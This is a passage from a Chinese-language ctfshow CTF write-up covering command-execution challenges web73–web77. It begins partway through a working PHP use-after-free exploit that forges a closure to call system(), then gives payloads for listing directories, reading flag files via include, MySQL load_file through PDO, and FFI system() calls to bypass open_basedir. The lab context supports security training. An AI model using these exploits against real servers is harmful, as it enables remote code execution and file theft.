            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }
 
    class Helper {
        public $a, $b, $c, $d;
    }
 
    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }
 
    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf('%c',$ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }
 
    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf('%c',$v & 0xff);
            $v >>= 8;
        }
    }
 
    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }
 
    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);
 
        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);
 
        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);
 
            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }
 
        if(!$data_addr || !$text_size || !$data_size)
            return false;
 
        return [$data_addr, $text_size, $data_size];
    }
 
    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;
 
            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;
 
            return $data_addr + $i * 8;
        }
    }
 
    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }
 
    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);
 
            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }
 
    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }
 
    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }
 
    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
 
    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];
 
    $helper = new Helper;
    $helper->b = function ($x) { };
 
    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }
 
    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;
 
    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);
 
    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);
 
    $closure_obj = str2ptr($abc, 0x20);
 
    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }
 
    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }
 
    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }
 
    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }
 
    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }
 
    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
 
    ($helper->b)($cmd);
    exit();
}

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第76张图片

Ctfshow 命令执行 web73

源码一样,这题比web72还少了一个open_basedir配置项制约。

读根目录,flag在flagc.txt文件中

c=var_export(scandir('/'));exit();

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1Qz5EPBx-1692463133488)(https://tc-md.oss-cn-hangzhou.aliyuncs.com/img/202308191925376.png)]

但是这里把include读取flag。

c=include('/flagc.txt');var_export(get_defined_vars());die();

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JTBiPu5h-1692463133488)(https://tc-md.oss-cn-hangzhou.aliyuncs.com/img/202308191929591.png)]

Ctfshow 命令执行 web74

源码一样。

禁用了scandir()函数。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jGwN9I1j-1692463133488)(https://tc-md.oss-cn-hangzhou.aliyuncs.com/img/202308191933891.png)]

读取根目录:(flag在flagx.txt文件中)

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}die();
或者
c=var_export(glob('/*'));die();

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第77张图片

其余同web73。

c=include('/flagx.txt');var_export(get_defined_vars());die();

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第78张图片

Ctfshow 命令执行 web75

看起来和之前一样。

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第79张图片

这题又加上了open_basedir限制。

读取根目录:(flag在flag36.txt文件中)

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}die();

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第80张图片

尝试web72的脚本读取flag失败了。

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第81张图片

官方hint的解法是:
利用mysqlload_file读文件,绕过open_basedir 限制。(只限制了PHP的访问目录,不关MYSQL的事情)

数据库名、账号密码可以通过之前的题目(过滤少的)拿到。所以这个方法条件是必须要有数据库名、账号密码

PHP 数据对象 (PDO) 扩展为PHP访问数据库定义了一个轻量级的一致接口。

PDO 提供了一个数据访问抽象层,这意味着,不管使用哪种数据库,都可以用相同的函数(方法)来查询和获取数据。

PDO随PHP5.1发行,应用条件是PHP>5.1

payload:

c=
try {
    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
        'root');
 
    foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
        echo ($row[0]) . "|";
    }
    $dbh = null;
} catch (PDOException $e) {
    echo $e->getMessage();
    exit(0);
}
exit(0);

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第82张图片

Ctfshow 命令执行 web76

同web75,flag文件名是flag36d.txt

payload:

c=
try {
    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
        'root');
 
    foreach ($dbh->query('select load_file("/flag36d.txt")') as $row) {
        echo ($row[0]) . "|";
    }
    $dbh = null;
} catch (PDOException $e) {
    echo $e->getMessage();
    exit(0);
}
exit(0);

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第83张图片

Ctfshow 命令执行 web77

题目描述:命令执行最后一题,php7.4,基本上命令执行就告一段落了(php7.4应该想到FFI)

看上去和之前一样,只是看上去。

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第84张图片

读取根目录:(flag在/readflag文件中)

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}die();

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第85张图片

但是PDO那个方法不能用了

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第86张图片

这题利用FFI扩展用C语言(?)执行命令,绕过open_basedir 限制。(只限制了PHP的访问目录,不关C语言的事情)

FFI:php7.4以上才有,是PHP的一个扩展。提供了一种在纯PHP中编写PHP扩展和对C库的绑定的方法。

参考文章:
https://zhuanlan.zhihu.com/p/119129348
https://www.php.net/manual/zh/ffi.cdef.php
https://www.php.cn/php-weizijiaocheng-415807.html

payload:(记得去掉注释)

$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';   //没有回显,需要重定向到文件
$ffi->system($a);       //通过$ffi去调用system函数

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第87张图片

你可能感兴趣的:(CTFSHOW,web入门,wp合集,前端,网络安全,web安全,PHP,命令执行,RCE,安全)